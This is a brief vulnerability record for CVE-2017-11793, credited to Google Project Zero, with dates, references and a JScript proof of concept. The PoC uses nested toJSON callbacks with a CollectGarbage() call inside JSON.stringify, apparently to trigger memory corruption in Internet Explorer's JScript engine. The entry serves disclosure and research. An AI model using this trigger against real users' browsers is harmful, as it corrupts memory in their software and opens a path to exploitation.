CVE-2017-11793.md

CVE-2017-11793

• Report: Oct 2017
• Fix: Dec 2017
• Credit: ifratric of Google Project Zero

PoC

<script language="Jscript.Encode">

var o1 = {toJSON:function(){
  alert('o1');
  return [o2];
}}

var o2 = {toJSON:function(){
  alert('o2');
  CollectGarbage();
  return 'x';
}}

JSON.stringify(o1);

</script>

Reference

• Microsoft
• Google Project Zero